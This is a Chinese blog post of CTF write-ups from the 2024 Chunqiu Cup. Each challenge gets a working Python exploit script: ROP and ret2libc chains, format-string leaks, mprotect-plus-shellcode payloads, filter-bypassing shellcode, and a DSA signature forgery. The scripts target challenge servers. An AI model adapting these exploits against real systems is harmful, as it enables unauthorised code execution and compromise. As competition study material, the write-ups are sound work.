2024春秋杯WP


2024春秋杯WP

考完试打一下春秋杯玩一下,题还是比较简单的,AWDP又是patch不上稳定发挥,还有题没时间做了,结束得分1314嘿嘿

CTF

初探勒索病毒

关注公众号获取提示,下载black-basta-buster-master,从服务器上找到加密的图片,按照提示解密即可

【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block

Signature

阅读源码,第一步通过泄露的六位哈希爆破token,第二步根据泄露的信息验证签名

import itertools
import hashlib
from Excalibur2 import*
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256


# 已知的哈希值前六位
# Plz input the token of happY_tHe_yEAR_Of_LOoNg
# Your gift --> 994eb2

# known_hash_prefix = "994eb2"

remo("8.147.128.54:33015")
default("h")

ru(b"Your gift --> ")
known_hash_prefix = ru(b"\n").decode().strip()

def find_matching_token(known_hash_prefix):
    password = 'happy_the_year_of_loong'
    possible_combinations = [
        (c.lower(), c.upper()) if c.isalpha() else (c,)
        for c in password
    ]
    combinations = itertools.product(*possible_combinations)
    
    for comb in combinations:
        candidate = ''.join(comb)
        candidate_hash = hashlib.sha256(candidate.encode()).hexdigest()
        if candidate_hash.startswith(known_hash_prefix):
            return candidate

matching_token = find_matching_token(known_hash_prefix)
print(f"Matching token: {matching_token}")
sla(b">", matching_token)


def cmd(c):
    sla(b"1.sign",str(c))

cmd(3)
ru(b"Oh,your key is ")
p,q,g = eval(ru(b"\n").decode())
print(f"p={p}, q={q}, g={g}")

cmd(2)
ru(b"signature\n")
pri = int(ru(b"\n").decode())
print(f"pri={pri}")


def sign(m, pri, p, q, g):
    k = random.randint(1, q - 1)
    H = int(hashlib.sha256(m).hexdigest(), 16)
    r = pow(g, k, p) % q
    s = (pow(k, -1, q) * (H + pri * r)) % q
    return r, s

m = "admin".encode()
signature = sign(m, pri, p, q, g)
r, s = signature
print(f"r={r}, s={s}")

sla(b"r:",str(r).encode())
sla(b"s:",str(s).encode())


ia()

stdout

控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行

from Excalibur2 import*

proc("./pwn")
remo("39.106.48.123:44749")
el("./pwn")
default("h")

extend = 0x401287
vuln = 0x40125D
# main = 0x40132B
main = 0x401333
bss = 0x404070+0x100
read_plt = plt("read")
setvbuf_got = got("setvbuf")
pop_rsi_r15 = 0x4013d1
pop_rdi = 0x00000000004013d3
csu1 = 0x4013CA
csu2 = 0x4013B0

debug("b *0x40136E\n")
target = extend 
pay1 = cyclic(0x58)+p64(vuln)
sd(pay1)

pay2 = cyclic(0x28)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(read_plt)+p64(vuln)
pay2 = pay2.ljust(0x200,b"\x00")
sd(pay2)
sleep(1)
sl("/bin/sh\x00")

pay3 = cyclic(0x28)+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
pay3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
pay3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
pause()
# pay3 = b"b"*0x20
pay3 = pay3.ljust(0x200,b"\x00")
sd(pay3)
sleep(1)
sd(b"\xc9")
pause()
sd(b"c"*0x3b)

ia()


"""
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
"""

Shuffled_Execution

在shellcode前面加一条短的带有零字节的汇编指令,截断比较长度绕过判断,使用openat,mmap,writev读Flag

from Excalibur2 import*

proc("./pwn")
remo("8.147.128.163:30951")
default("h")

sc = '''
mov eax, 0
mov eax, 9
syscall
mov rsp, rcx
add rsp, 0x200
'''
sc += shellcraft.openat(-1,"/flag")
sc +='''
mov rdi, rax
mov rax, 9          
mov r8, rdi 
xor rdi, rdi        
mov rsi, 0x100
mov rdx, 1          
mov r10, 0x02       
mov r9, 0   
syscall 
push rax
push 0x1
pop rdi
push 0x1
pop rdx
push 0x100
add rsp, 8
mov rsi, rsp
push 20
pop rax
syscall             
nop
nop
'''

shellcode = asm(sc)
lg("length",len(shellcode))
debug("b *$rebase(0x14D5)\n")
sla(b"entrance.",shellcode)

pause()
rc()
flag = rec(200)
pause()
if b"flag" in flag:
    print(flag)
    pause()

ia()

SavethePrincess

printf的时候泄露i,逐字节爆破随机数,格式化字符串泄露libc,canary和stack,mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag即可

from Excalibur2 import *
import struct


el("./pwn.test")
proc("./pwn")
remo("39.106.48.123:40019")
default("h")


def cmd(cmd):
    sla(b">",str(cmd))

pwd = ""
realpwd = ""
s = "a"
for k in range(8):
    # print("True")
    # print(struct.pack('B',k+1))
    # pause()
    for j in range(26):
        cmd(1)
        pwd = pwd.ljust(10,"a")
        sla(b"password:",pwd)
        ru(pwd)
        i = rec(1)
        print(i)
        if i != struct.pack('B',k+1):
            s = chr(ord("b")+j)
            pwd = realpwd+s
            continue
        idx = struct.unpack('B', i)[0]
        print("Found!")
        realpwd += s
        print(realpwd)
        break
        
    

pay1 = "-%{}$p-".format(13)
pay1 += "%{}$p-".format(15)
pay1 += "%{}$p-".format(10)
print(len(pay1))
debug("b *$rebase(0x170C)\n")
cmd(1)
sla(b"password:",realpwd)
sda(b"power!!!",pay1)

ru(b"-")
canary = int(ru(b"-"),16)
lg("canary",canary)
libc = int(ru(b"-"),16)-0x29d90
lg("libc",libc)
stack = int(ru(b"-"),16)
lg("stack",stack)


pop_rax = libc+0x0000000000045eb0
pop_rdi = libc+ 0x000000000002a3e5
pop_rsi = libc+0x000000000002be51
pop_rax_rdx_rbx = libc+0x00000000000904a8
mov_rdi_rsi = libc+0x00000000000a793d
xor_rax = libc+0x00000000000baaf9
syscall = libc+0x00000000000114885

cmd(2)

sc = shellcraft.openat(-1,"/flag")
sc += """
mov rdi, rax
mov rax, 9          
mov r8, rdi 
xor rdi, rdi        
mov rsi, 0x100
mov rdx, 1          
mov r10, 0x02       
mov r9, 0   
syscall 
mov rsi, rax
mov rax, 1      
mov rdi, 1      
mov rdx, 0x100
sub rsi, 0x60    
syscall
"""

pay2 = cyclic(0x38)+p64(canary)+b"a"*8+p64(pop_rdi)+p64((stack>>12)<<12)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax_rdx_rbx)+p64(10)+p64(7)+p64(0)+p64(syscall)
pay2 += p64(stack+0x1000+len(pay2)+0x10-0x1068)+asm(sc)
print(hex(len(pay2)))
sla(b"dragon!!",pay2)




ia()


"""
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
0x0000000000045eb0 : pop rax ; ret
0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
0x00000000000a793d : mov rdi, rsi ; call rax
0x00000000000baaf9 : xor rax, rax ; ret
0x0000000000029db4 : syscall
"""

AWDP

spiiill

分析程序,先按双字读取命令,先进入函数偏移为0xA的函数绕过偏移不能超过0xB的限制,再进入函数偏移为0xC的函数,在后面跟上参数为sh,拿到shell

from Excalibur2 import *

proc("./pwn")
remo("8.147.132.12:24531")
default("h")

pay = b"\x0A\x00\x00\x00\x00\x00\x00\x00"
pay += b"\x0C\x00\x00\x00\x00\x00\x00\x00"
pay += p64(0xFFFFFFFFFFFFFC02)
pay += b"sh\x00"

def cmd(c):
    sla(b"choice:", str(c))

cmd(2)
sd(pay)
debug("b *$rebase(0x1D38)\nb *$rebase(0x1C78)\n")
cmd(3)


ia()

simpleSys

攻击

密码输入36个a编码之后最后一位为\x00,截断长度绕过判断,printf打印时泄露出基地址,打ret2libc

from Excalibur2 import*

proc("./pwn.bak")
remo("8.147.134.120:19373")
el("./pwn.bak")
lib("./libc.so.6")
default("h")

def cmd(c):
    sla(b"choice:", str(c))

cmd(2)
sla(b"username",b"root")
sla(b"password",b"a"*36)

cmd(3)
sla(b"length:",b"-1")

pay = b"a"*0x68
sl(pay)
debug("b *$rebase(0x1567)\n")
sla(b"confirm",b"n")
ru(pay)
pie = uu64(rec(6))
lg("pie",pie)
base = pie -0x187d
lg("base",base)


pop_rdi = base + 0x0000000000001751
ret = base+0x000000000000101a
read_got = base+got("read")
puts_plt = base+plt("puts")


# cmd(3)
sla(b"length:",b"-1")
pay2 = b"a"*0x68+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(base+0x146A)
sl(pay2)
sla(b"confirm",b"y")

sleep(0.5)
real_read = get_addr64()
binsh,system = searchlibc("read",real_read,1)

pay3 = b"a"*0x68+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sleep(0.5)
sla(b"length:",b"-1")
sl(pay3)
sla(b"confirm",b"y")


ia()


"""
0x0000000000001751 : pop rdi ; ret
0x000000000000101a : ret
"""

防御

把密码读取长度改小就行


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录